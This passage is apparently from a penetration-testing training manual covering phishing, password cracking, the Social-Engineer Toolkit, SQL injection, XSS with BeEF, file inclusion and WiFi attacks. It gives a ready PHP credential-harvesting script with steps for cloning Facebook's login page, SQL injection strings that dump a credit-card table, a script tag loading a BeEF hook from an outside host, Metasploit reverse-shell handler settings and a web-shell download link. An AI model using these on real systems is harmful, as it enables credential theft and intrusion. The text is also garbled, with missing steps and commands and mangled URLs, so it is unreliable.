details at a fake website whose look and feel are almost identical to the legitimate one. Phishing
is an example of social engineering techniques used to deceive users, and exploits the poor
usability of current web security technologies. Attempts to deal with the growing number of
reported phishing incidents include legislation, user training, public awareness, and technical
security measures.
Creating a Phishing Page:
Let’s consider facebook.com as an example here.
1. View source of facebook.com and copy all the text to notepad.
2. Search for “action” in code.
3. Delete the link given against action and replace it with login.php
4. Change method=post to method=get.
<?php
header(”Location: http://www.Facebook.com/login.php “);
$handle = fopen(”passwords.txt”, “a”);
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>
7. Save it as login.php.
8. Create another file and save it as passwords.txt.
9. Upload these files to your webserver.
10. Your phishing page is ready and can be accessed through your web server.
11. All usernames and passwords will be saved in passwords.txt
root@kali:~# john
Created directory: /root/.john
John the Ripper password cracker, version 1.8.0.6-jumbo-1-bleeding [linux-x86-sse2]
Copyright (c) 1996-2015 by Solar Designer and others
Homepage: http://www.openwall.com/john/
1. Open terminal
2. Type the following command:
3. The unshadow command will basically combine the data of /etc/passwd and
/etc/shadow to create 1 file with username and password details of all users of
your Linux machine.
4. Now you can use this newly created file to crack the passwords of your Linux machine
7. In the above screenshot, one can see that the JTR has cracked two passwords with
following credentials:
a. Username: test password: password
b. Username: new password: password
8. JTR was not able to crack the root password since it was not in the wordlist provided.
9. Alternatively you can download or create your own wordlists for password cracking.
10. To do a bruteforce attack one can use following commands:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
set> 1
The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) number of people with attached fileformat malicious
payloads. If you want to spoof your email address, be sure "Sendmail" is in-
stalled (apt-get install sendmail) and change the config/set_config SENDMAIL=OFF
flag to SENDMAIL=ON.
There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!
set> 2
The Web Attack module is a unique way of utilizing multiple web-based attacks in order to
compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based
payload. Uses a customized java applet created by Thomas Werth to deliver the payload.
The Metasploit Browser Exploit method will utilize select Metasploit browser exploits
through an iframe and deliver a Metasploit payload.
The Credential Harvester method will utilize web cloning of a web- site that has a username
and password field and harvest all the information posted to the website.
The TabNabbing method will wait for a user to move to a different tab, then refresh the page
to something different.
The Web-Jacking Attack method was introduced by white_sheep, emgent. This method
utilizes iframe replacements to make the highlighted URL link to appear legitimate however
when clicked a window pops up then is replaced with the malicious link. You can edit the link
replacement settings in the set_config if its too slow/fast.
The Multi-Attack method will add a combination of attacks through the web attack menu. For
example you can utilize the Java Applet, Metasploit Browser, Credential
Harvester/Tabnabbing all at once to see which is successful.
The HTA Attack method will allow you to clone a site and perform powershell injection
through HTA files which can be used for Windows-based powershell exploitation through the
browser.
set:webattack>1
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
The first method will allow SET to import a list of pre-defined web applications that it can utilize
within the attack. The second method will completely clone a website of your choosing and allow
you to utilize the attack vectors within the completely same web application you were
attempting to clone. The third method allows you to import your own website, note that you
should only have an index.html when using the import website functionality.
As soon as victim clicks on run on your java applet popup, you will get a reverse connection.
The Metasploit Browser Exploit Method will import Metasploit client-side exploits with the ability
to clone the website and utilize browser-based exploits. Let’s take a quick look on exploiting a
browser exploit through SET.
set:webattack>2
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
The first method will allow SET to import a list of pre-defined web applications that it can utilize
within the attack. The second method will completely clone a website of your choosing and allow
you to utilize the attack vectors within the completely same web application you were
attempting to clone. The third method allows you to import your own website, note that
you should only have an index.html when using the import website functionality.
We will use Site Cloner
set:webattack>2
[-] NAT/Port Forwarding can be used in the cases where your SET machine is
[-] not externally exposed and may be a different IP address than your reverse listener.
set> Are you using NAT/Port Forwarding [yes|no]: no
[-] Enter the IP address of your interface IP or if your using an external IP, what
[-] will be used for the connection back and to house the web server (your interface address)
set:webattack> IP address or hostname for the reverse connection:192.168.3.103
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:https://gmail.com
set:payloads>1
1) Windows Shell Reverse_TCP Spawn a command shell on victim and send back to
attacker
2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send
back to attacker
3) Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to
attacker
4) Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline
5) Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64),
Meterpreter
set:payloads>1
set:payloads> Port to use for the reverse [443]:443
Now when the target will browse to http://192.168.3.103:8080. You will get the reverse shell if
the target is exploitable.
We will be able to see the requests.
The web jacking attack method will create a website clone and present the victim with a link
stating that the website has moved. When you hover over the link, the URL will be presented
with the real URL, not the attacker’s machine. So for example if you are cloning gmail.com, the
url when hovered over it would be gmail.com. When the user clicks the moved link, gmail
opens and then is quickly replaced with your malicious webserver.
Multi Attack Web Vector
The multi-attack web vector will allow you to specify multiple web attack methods in order to
perform a single attack. In some scenarios, the Java Applet may fail however an internet
explorer exploit would be successful. Or maybe the Java Applet and the Internet Explorer
exploit fail and the credential harvester is successful. The multi-attack vector allows you to turn
on and off different vectors and combine the attacks all into one specific webpage. So when the
user clicks the link he will be targeted by each of the attack vectors you specify.
Infectious Media Generator
Infectious Media Generator creates a Metasploit-based payload, setup a listener for you and
generate a folder that needs to be burned or written to a DVD/USB drive. Once inserted, if
AutoRun is enabled, the code will automatically execute and take control of the machine.
Browser autopwn
Browser Autopwn performs browser fingerprinting prior to launching exploits at the victim.
Therefore, if the remote PC is using Internet Explorer 6, it will not launch IE7 exploits at it.
[*] Setup
msf auxiliary(browser_autopwn) >
[*] Starting exploit modules on host 192.168.3.103...
[*] ---
It will start multiple listeners for multiple exploits. When the target browses
http://192.168.3.103:8080, we will get the request.
[*] Handling
'/?sessid=V2luZG93czp1bmRlZmluZWQ6dW5kZWZpbmVkOnVuZGVmaW5lZDp1bmRlZmluZW
Q6ZW4tVVM6eDg2OkNocm9tZTo1NC4wLjI4NDAuOTk6'
[*] JavaScript Report: Windows:undefined:undefined:undefined:undefined:en-
US:x86:Chrome:54.0.2840.99:
[*] Reporting: {"os.product"=>"Windows", "os.language"=>"en-US", "os.arch"=>"x86",
"os.certainty"=>"0.7"}
[*] Responding with 6 exploits
[*] Handling '/'
[*] Handling
'/?sessid=V2luZG93czp1bmRlZmluZWQ6dW5kZWZpbmVkOnVuZGVmaW5lZDp1bmRlZmluZW
Q6ZW4tVVM6eDg2OkNocm9tZTo1NC4wLjI4NDAuOTk6'
[*] JavaScript Report: Windows:undefined:undefined:undefined:undefined:en-
US:x86:Chrome:54.0.2840.99:
[*] Reporting: {"os.product"=>"Windows", "os.language"=>"en-US", "os.arch"=>"x86",
"os.certainty"=>"0.7"}
[*] Responding with 6 exploits
As soon as victim visits our URL we’ll get a session if browser is vulnerable.
Information Gathering
root@kali:~# dirbuster
Burp Suite is a very powerful tool used for web application security penetration testing. It has a
wide range of features that allows us to perform various tasks, launch various attacks etc. It works
as a proxy and intercepts web traffic. It also works on SSL.
First, we need to configure burp suite to work as a proxy. Go to Proxy -> Options. Check the
127.0.0.1:8080 interface.
Now go to Intercept Server Responses and check Intercept Responses based on following rules
Burp Suite is now ready to intercept traffic. Now open Firefox or any other browser. Go to
Options -> Advanced -> Network -> Settings
Now add 127.0.0.1 and port 8080. Remove localhost, 127.0.0.1 from No proxy for.
Now we will start information gathering phase using burp suite. Browse to any website or web
application. We have opened http://192.168.3.100/twa/index.php
Now go to the Target tab and right click on the address and add to scope.
If you go to the scope tab you will see that it is added to scope. Now we want to get information
about the application like the directory structure. We will use the Spider tool which spiders the
host to find links and map a structure of the application.
This is critical information as we can now look for technology specific vulnerabilities as well.
SQL Injection
SQL Injection is a common web vulnerability found in dynamic sites that is caused by unsanitized
user input, which is then passed on to a database. This user input can then be manipulated to
“break out” of the original query made by the developers, to include more malicious actions.
These types of vulnerabilities can lead to database information leakage and, depending on the
environment, could also lead to complete server compromise. Before we move on to SQL
injection lets go through some concepts
Database:
A database is a repository, collection of data needed by the web application. It may include
usernames, passwords, IDs and related information. There are various database servers being
used. Some of these are:
- MySQL
- MSSQL
- MS-Access
- Oracle
- PostgreSQL
- SQLite
SQL
Structured Query Language (SQL) is a programming language for getting data in and out of a
database. Various commands are used for managing a database.
A sample SQL query is as follows:
Another query is
Injection Points
There are certain input points where we should look for SQL injection. For example login pages,
search pages etc. SQL injection can be done using both GET and POST methods. To check for SQL
injection ‘ or a special character is entered as input. Following is an example of an SQL injection
using GET method
We inject a ‘ at parameter id
As you can see we got a database error. Which shows that input is being fed straight to SQL query
without sanitization.
Putting a comma ‘ in username field and pressing login, we get the following error
The error messages show that SQL injection is possible. Now that we have identified SQL injection
we can launch further attacks.
Authentication Bypass
SQL injection is a code injection technique, used to attack data-driven applications, in which
malicious SQL statements are inserted into an entry field for execution.
Let’s examine the login page and the underlying source code
mysql_select_db('webappdb');
Notice how the $user and $pass POST variables are not sanitized in any way, and are then used
as part of a SQL statement.
We have a web application running which requires username and password for authentication.
The web application is at http://192.168.2.6.
Click on Login/Register to web form. Now we will try to bypass authentication using SQL injection.
We have input HI’ or 1=1 - - and password field is empty. When we press login
We have successfully logged in as admin. The reason it logged in as admin because admin was
the first account entry in the database. Underlying query would look like this
Select * from Table where username = ‘HI’ or 1=1 - - AND password =’ ’
- - is used for comments in SQL so the password part is commented. This is a simple vulnerability
present in many web applications.
Data Extraction
Another example is viewing account details. We can use the same injection string to view all of
the data. Go to Injection Attacks -> SQLi Extract Data -> User Info
We have input HI’ or 1=1 - - in both username and password. Click View Account Details
Union based SQL injection is used to find number of columns in the resultant table that is being
used by the query. To test this vulnerability go to the User Info page in the web application.
User will enter his/her credentials and details will be shown. We will now try to find the number
of columns in the underlying table. We will start with the following query
‘ union select null,null – (Make sure to put space after --)
As we can see that we have an error of different number of columns. We will continue adding
null statements until the number of columns are equal to the input we have supplied. In this case
we have supplied 7 null statements. Following result is obtained:
Now we will change the null statements with numbers. The query will be:
‘ union select 1,2,3,4,5,6,7 –
Now we are able to map the entries with the columns. We can use this vulnerability to extract
information. For example we can use the query
union select 1,@@version,3,4,5,6,7 -- to get the DB version
We can use commands like user() to get the username. Various other commands can also be
used.
Let’s try another query. There is table named credit_cards in this application. We will try to get
data using the same method. We will use the following query: ' union select
ccid,ccnumber,ccv,expiration,null,null,null from credit_cards --
We have got all the entries in the table. In short, we are dumping database content.
SQLMap
The whole process of SQL injection can also be automated using this tool. SQLmap is an open
source penetration testing tool that automates the process of detecting and exploiting SQL
injection flaws and taking over of database servers. It comes with a powerful detection engine,
many niche features for the ultimate penetration tester and a broad range of switches lasting
from database fingerprinting, over data fetching from the database, to accessing the underlying
file system and executing commands on the operating system.
Browse to http://192.168.2.7
Click on test. In the URL, you will see that data is being passed using get parameter.
This error implies that the parameter may be vulnerable to SQL injection. We will now use
SQLmap to exploit it
Two databases have been listed. We will try to get the tables of photoblog database
We are interested in the users table. So, next step is to get all the data of the users table
It will ask you to crack hashes of passwords found. Select Yes. We will get the following results
Database: photoblog
Table: users
[1 entry]
+----+-------+---------------------------------------------+
| id | login | password |
+----+-------+---------------------------------------------+
| 1 | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+
We have got the password and SQLmap has cracked the hash for us as well. Lets try these
credentials on http://192.168.2.7/admin/login.php
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web
applications. XSS enables attackers to inject client-side script into Web pages viewed by other
users. A cross-site scripting vulnerability may be used by attackers to bypass access controls.
Reflected XSS
Reflected XSS occurs when user input is immediately returned by a web application in an error
message, search result, or any other response that includes some or all of the input provided by
the user as part of the request, without that data being made safe to render in the browser, and
without permanently storing the user provided data. In some cases, the user provided data may
never even leave the browser.
Stored XSS
Stored XSS generally occurs when user input is stored on the target server, such as in a database,
in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored
data from the web application without that data being made safe to render in the browser.
Reflected XSS
Go to Cross Site Scripting -> Reflected (First Order) -> DNS Lookup and inject the following
string:
<script>alert(“XSS”);</script>
You can see that the JavaScript code is executed. Another example is that if we want to get the
cookie value using alert(document.cookie).
<script>alert(document.cookies);<script>
Inject the script in the blog section and press Save blog entry.
When we press the button the blog entry is saved in the database. We also get a prompt.
Now navigate to the view blogs area. As soon as the page loads XSS is executed. This shows the
presence of stored XSS.
This popup will generate each time the page is loaded. This happens because the XSS script is
stored in the database and is being executed once viewed on the page.
iFrame Injection
Now that we have identified XSS. We can inject iFrames to redirect the victim to malicious pages.
BeEF
The Browser Exploitation framework allows penetration tester to access the security posture of
a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF
looks past the hardened network perimeter and client system, and examines exploitability within
the context of the one open door: the web browser. BeEF will hook one or more web browsers
and use them as beachheads for launching directed command modules and further attacks
against the system from within the browser context. [6]
If we have found cross site scripting in our target web application, we can use BeEF to further
exploit the target. To start BeEF on kali Linux type the following command:
root@kali:~# beef-xss
Link1: http://some_ip:3000/demos/basic.html
Link2: http://some_ip:3000/demos/butcher/index.html
These are some sample links already created so that you can start your attack. Send these link to
the attacker. When the attacker opens the link on the browser you will get a hook. If the web
application is vulnerable to XSS we can craft a script that will execute and hook the browser as
well. An example is:
<script src=http://192.168.3.107:3000/hook.js>alert(“Successful”);</script>
Execute this script in the vulnerable field to get a hook. As soon as we execute it we will see a
new entry.
With a browser hooked there are various modules that can be used to exploit the end user.
When we execute the attack. Victim will see a dialog of Facebook session expired. Remember the
IP in custom logo should be same as your BeEF. As soon as we execute the attack the dialog box
appears.
When we enter the credentials. They are also captured. We have got the username and
password.
File Inclusions
Local File Inclusion (also known as LFI) is the process of including files, that are already locally
present on the server, through the exploiting of vulnerable inclusion procedures implemented in
the application. This vulnerability occurs, for example, when a page receives, as input, the path
to the file that has to be included and this input is not properly sanitized, allowing directory
traversal characters (such as dot-dot-slash) to be injected. Although most examples point to
vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such
as JSP, ASP and others.
If we enter some different value we will be able to get different results. E.g we enter dns-
lookup.php and we are redirected to another page
We will try to access server related files and see if they are accessible
As we can see that we can view the contents of the file. Similarly we can query other files like
/etc/profile
File inclusion vulnerability is a type of vulnerability most often found on websites. It allows an
attacker to include a file, usually through a script on the web server. The vulnerability occurs due
to the use of user-supplied input without proper validation. This can lead to something as
minimal as outputting the contents of the file or more serious events such as:
• Code execution on the web server
• Code execution on the client-side such as JavaScript which can lead to other attacks such
as cross site scripting (XSS)
• Denial of service (DoS)
• Data theft/manipulation
We will try to include remote files from various websites. Using the textviewer feature in our
application
Host: 192.168.2.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.2.6/index.php?page=text-file-viewer.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
textfile=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fwww.textfiles.com%2Fhacking%2Fbackdoor.txt&text-file-viewer-
php-submit-button=View+File
We will change the text file parameter to our own file http://www.textfiles.com/100/ad.txt. We
have got the following output
There are various applications that allow us to upload different files. If proper security checks are
not implemented, then we can upload malicious files on the server. Go to
http://192.168.2.5/vulnerabilities/upload
We download an php shell and try to upload it on the server. We download a shell from
https://r57.gen.tr/
Setup
First we need to setup our pineapple device. Follow the following steps:
1. Download the latest firmware for WiFi pineapple from
https://www.wifipineapple.com/downloads/nano/latest .
2. Plug your NANO into the PC using the USB Y cable. You need to connect it to your Kali
virtual machine.
3. Wait for LED to become solid blue then make sure Ethernet interface is connected.
5. You will be prompted to press the Reset button. Press the Reset button to disable WiFi.
6. Upgrade the firmware. Use the file you downloaded previously. (If firmware is the
latest, this page will not be shown). Firmware can be downloaded from
https://www.wifipineapple.com/downloads/nano/latest
8. Once the setup is complete you will be redirected. Login using the credentials you set
root@kali:~# ./wp6.sh
Saved Settings: Share Internet connection from wlan0
to WiFi Pineapple at eth1 through default gateway 192.168.1.1
Since this is the first time running the WP6 Internet Connection Sharing
script, Guided setup is recommended to save initial configuration.
Subsequent sessions may be quickly connected using saved settings.
[C]onnect using saved settings
[G]uided setup (recommended)
[M]anual setup
[A]dvanced IP settings
[Q]uit
Settings saved.
Saved Settings: Share Internet connection from eth0
to WiFi Pineapple at eth1 through default gateway 192.168.3.1
5. Re execute the Script, this time select Connect using Saved Settings
Now browse to http://172.16.42.1:1471 from your Kali Machine using a web browser.
Login using the credentials you set previously.
Once the WiFi Pineapple is configured you can connect to it using SSH. To connect type the
following command in terminal:
root@Pineapple:~# iwconfig
lo no wireless extensions.
Click on Get Modules from WiFiPineapple.com. We need to install Site Survey module
After installation, the module will appear under the Modules section
Before scanning we need to put our interface into monitor mode. Login into WiFi Pineapple using
SSH.
root@Pineapple:~# iwconfig
lo no wireless extensions.
Now we can go to our web interface and start the scan. Refresh the page and click on Scan
You will get a list of access points (APs). We want to capture the handshake of please_hack_me
Click on Capture
Keep pressing the refresh capture button after sometime. It will take some time to capture the
handshake. Once the WPA Handshake value is Yes. You can stop the attacks. Click on Stop
Deauth and Stop Capture.
We can download the file and brute force it to get the password of the access point. Click on
Download button to download it. It will be downloaded on your Kali machine.
We now have a .cap file. We will now try to crack it using aircrack-ng file. First we need a list of
passwords that we will try to bruteforce. There are various lists of common passwords available
online. You can also create your own
Type the following command to start the cracking process using the passwords present in our list
Opening capture_1475139153-01.cap
Reading packets, please wait...
Master Key : E1 50 16 E9 D9 98 A7 CB 2F B0 65 1C 81 AC EA A1
A3 30 3C B5 47 CF A0 A3 E7 86 73 C6 AF FD 60 B5
Transient Key : 1F 8A D8 4C 16 70 10 EE 0E 0C CA B5 5A 73 3E 02
A7 FA A0 A5 BB 7F CC AD D8 D5 F0 F5 4A 94 F8 BA
CD 84 EB 63 50 A6 E8 EA 0D 77 49 BB B0 AC 75 30
27 BA 00 FD 78 2C 33 07 6D C3 6F 8D BD 99 6B 3C
EAPOL HMAC : 3B 09 53 87 A7 29 CC D5 D9 E0 72 45 F1 A3 11 02
We can brute force WPS using WiFi pineapple module. First go to Modules -> Manage Modules
The newly installed module will appear in the module section. Install Dependencies by clicking
on Not installed
First we need to start a monitor interface on wlan1. Click on Interfaces. Select wlan1
Click on the SSID that you want to attack. We will be attacking please_hack_me
As soon as you click its information will be present in the Options section
It will take time to finish the process. You can stop it by clicking on Stop. Click on Stop Monitor
before you go to the next attack.
Capturing Traffic
In this section, we will try to capture user traffic using DWall module. First go to Networking
Click on Update Access Point. You may need to disconnect and then reconnect pineapple to
your Kali virtual machine and run the wp6.sh script again.
Now We need to install DWall module. Go to Modules -> Manage Modules. Click on Get
Modules from WiFiPineapple.com and select DWall. Install the module
Go to DWall module
Click on Enable. Then click on Start Listening. Now we will see an open access point.
Once user connects and starts browsing. For example user goes to tranchulas.com. We will
capture all the traffic and related data
Airodump-ng
Airodump-ng is used for packet capture of raw 802.11 frames and is particularly suitable for
collecting WEP IVs (Initialization Vectors) for later use with Aircrack-ng. If you have a GPS
receiver connected to the computer , Airodump-ng is capable of logging the coordinates of the
found APs.
Usage
Before running Airodump-ng, start the Airmon-ng script to list the detected
wirelessinterfaces.
Filter options:
Aireplay-ng
Aireplay-ng is primarily used to generate or accelerate traffic for the later use with Aircrack-
ng (for cracking the WEP and WP A-PSK keys). Aireplay-ng supports various attacks such as
deauthentication (for the purpose of capturing WP A handshake data), fakeauthentication,
Interactive packet replay , hand-crafted ARP request injection and ARP-request re injection.
These are the attack names and their corresponding “numbers”:
• Attack 0: Deauthentication
• Attack 1: Fake authentication
• Attack 2: Interactive packet replay
• Attack 3: ARP request replay attack
• Attack 4: KoreK chopchop attack
• Attack 5: Fragmentation at tack
• Attack 9: Injection test
Usage
This section provides a general usage overview . Not all options apply to all attacks. See
the command options of the specific attack for the relevant details.
Usage: aireplay-ng <options> <replay interface>
For all the at tacks except deauthentication and fake authentication you may use the
following filters to limit the packets which are presented to the particular attack. The most
commonly used filter option is “- b” - to single out a specific AP . Typically , only the “-b”
option is used.
Filter options:
Demo Attack
For this section you will need an external WiFi adapter. We are using Alfa AWUS036NEH for these
tests.
First we need to connect our external WiFi card to our Virtual Machine.
root@kali:~# iwconfig
wlan0 IEEE 802.11bgn ESSID:"Tranchulas-Cisco"
Mode:Managed Frequency:2.412 GHz Access Point: 00:23:69:19:3A:57
Bit Rate=1 Mb/s Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=70/70 Signal level=-19 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:1 Invalid misc:9 Missed beacon:0
lo no wireless extensions.
You should have wlan0 interface. Now we need to put the interface in monitor mode.
PID Name
593 NetworkManager
771 dhclient
1031 wpa_supplicant
3732 dhclient
root@kali:~# iwconfig
wlan0mon IEEE 802.11bgn Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
lo no wireless extensions.
-c is the channel, - -bssid is the BSSID of the AP and - - write flag writes all the data in cracking_wifi
file. It will start capturing the data and try to capture the handshake.
At the same time we need to launch a deauth attack to disconnect any clients connected to this
AP. This will help us in capturing the handshake once the clients reconnect.
Stop the deauth after sometime. Also stop airodump. This process will have created .cap file of
the whole process.
Now we will try to crack the password using aircrack. We have already created a list of passwords
in our wifi pineapple section.
Opening cracking_wifi-01.cap
Reading packets, please wait...
Master Key : E1 50 16 E9 D9 98 A7 CB 2F B0 65 1C 81 AC EA A1
A3 30 3C B5 47 CF A0 A3 E7 86 73 C6 AF FD 60 B5
Transient Key : EE F5 07 C5 9B B8 A1 83 1B 75 95 56 1E C9 32 CE
67 C1 A0 39 F9 C5 E2 7F 75 33 17 8F 10 83 E7 A9
13 32 D9 9D A6 76 36 B1 58 5F A1 EB F5 8E A2 E7
58 33 42 93 4B 23 69 6A A3 88 C9 13 13 C1 55 9F
EAPOL HMAC : C8 7C C6 A7 BC F1 A1 99 0C 9B FC CE D7 FE 19 9E
LAN Turtle
The LAN Turtle is a covert Systems Administration and Penetration Testing tool providing stealth
remote access, network intelligence gathering, and man-in-the-middle monitoring capabilities.
The LAN Turtle is exceptionally good at providing:
• Remote Access
• Network Intelligence
• Man-in-the-Middle
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
Start putty and login into LAN turtle using SSH. The IP is 172.16.84.1
We have downloaded Putty because SSH client is not available on windows by default. However
if you are on Linux you can simply run the SSH command in terminal. First change the translation
from UTF-8 to ISO-8859-1:1998 in Putty.
Once you click Open you will get a new window. You need to enter the credential, username is
root and password is sh3llz.
Change the default password. After that the configuration windows will appear
You can update the firmware by going to Config -> Check for updates. However an active internet
connection is required. A LAN cable should be attached with the LAN turtle.
return keys as well as mouse in most terminals. The Turtle Shell's Configuration Menu provides
the ability to change advanced settings such as Password, MAC address, IP address. Firmware
updates may be checked for and installed as they become available.
By default the Turtle Shell will start at login via SSH unless disabled from the Configuration Menu.
Exiting the Turtle Shell returns the user to the LAN Turtle's bash shell. To return to the Turtle
Shell, run the "turtle" command
Press Esc and you will go to command line. You can run all the Linux commands on it.
root@kali:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.84.178
LHOST => 172.16.84.178
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set EXITONSESSION false
EXITONSESSION => false
msf exploit(handler) > exploit -j
Go to CONFIGURE and provide the IP and port of the Kali machine where it will connect to.
As soon as you start you will get a shell on the Kali machine
Now we can migrate to the shell using sessions –i 1. We can run various meterpreter commands
like sysinfo
Go to Configure
Let’s first Test it. Select Test and browse to some website using your browser.
References
1. Port scan technical - http://www.cathaycenturies.com/blog/?p=1120
2. Network mapping - https://pentestmag.com/network-mapping_-network-mapping-issue-beta-
version-of-publication/
3. Nmap definition - https://nmap.org/
4. Nikto - http://sectools.org/tool/nikto/
5. OpenVAS - http://www.openvas.org
6. ARP spoofing - https://toschprod.files.wordpress.com/2012/01/arp_spoofing1.png
7. BeEF - http://beefproject.com/
8. Local File inclusion - https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
9. Phishing - https://www.mysecurityawareness.com/article.php?article=284&title=beware-of-
phishing-email-scams#.V_N4AOirhBc
10. John - http://sophie2.aero.jussieu.fr/distrib/Mageia/2/i586/media/core-release/by-
pkgid/789c85467e9ddc13583f3bc393989e45/files/29
11. Browser exploitation - https://theonemarch.wordpress.com/2011/11/14/metasploit-browser-
exploit-method/